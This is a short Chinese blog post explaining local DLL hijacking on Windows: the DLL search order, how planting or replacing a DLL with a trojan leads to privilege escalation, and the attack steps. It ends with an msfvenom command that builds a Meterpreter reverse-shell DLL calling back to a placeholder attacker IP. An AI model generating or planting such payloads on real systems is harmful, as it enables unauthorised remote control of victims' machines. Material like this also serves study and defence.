当前位置: 首页 > news >正文

本地DLL劫持

原理

Windows程序启动的时候需要DLL。如果这些DLL不存在,则可以通过在应用程序要查找的位置放置恶意DLL来提权。

搜索顺序

通常Windows应用程序有其预定义好的搜索DLL的路径,它会根据下面的顺序进行搜索:

  1. 应用程序加载的目录(用户可控

  2. C:\Windows\System32

  3. C:\Windows\System

  4. C:\Windows

  5. 当前工作目录Current Working Directory,CWD

  6. 在PATH环境变量的目录(先系统后用户)

这样的加载顺序很容易导致一个系统DLL被劫持,因为只要攻击者将目标文件和恶意DLL放在一起即可,导致恶意DLL先于系统DLL加载,而系统DLL是非常常见的。

利用

程序运行一般会加载系统DLL或本身程序自带的DLL,如果将程序执行时需要加载的DLL文件替换成木马程序,那么下次在启动程序时所加载的DLL就是我们替换的那个木马程序了。

攻击过程

收集进程加载的DLL -> 制作DLL木马并上传 -> 替换DLL -> 启动应用后成功

生成Payload

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=IP lport=PORT prependmigrateprocess=explorer.exe prependmigrate=true -f dll > shell.dll


http://www.mrgr.cn/news/50081.html

相关文章:

  • Java基础概览和常用知识(五)
  • 机器学习篇-day07-朴素贝叶斯和特征降维
  • 已发布金融国家标准目录(截止2024年3月)
  • 算法工程师重生之第二十五天(加油站 分发糖果 柠檬水找零 根据身高重建队列 )
  • 【React】父组件如何调用子组件的方法
  • RTThread-Nano学习一-基于MDK移植
  • 基于Arduino的车辆门禁管理系统
  • Python中的itertools模块详解
  • 试着了解YOLOx
  • Web3的挑战与机遇:技术发展的现状分析
  • CSS背景调整
  • 【Pycharm系列】如何使用Windows的pycharm来远程连接linux做开发?
  • 架构师之路-学渣到学霸历程-12
  • Android Studio简易项目|随机选择器(类似转盘)
  • 获取京东商品历史价格接口item_history_price介绍
  • 最大化似然估计?你知道什么叫”似然“吗?
  • Spring 实现 3 种异步流式接口,干掉接口超时烦恼
  • 预训练模型的使用方法
  • 如何在node.js中做快速傅立叶变换-(频谱)
  • SLAM中的加权最小二乘法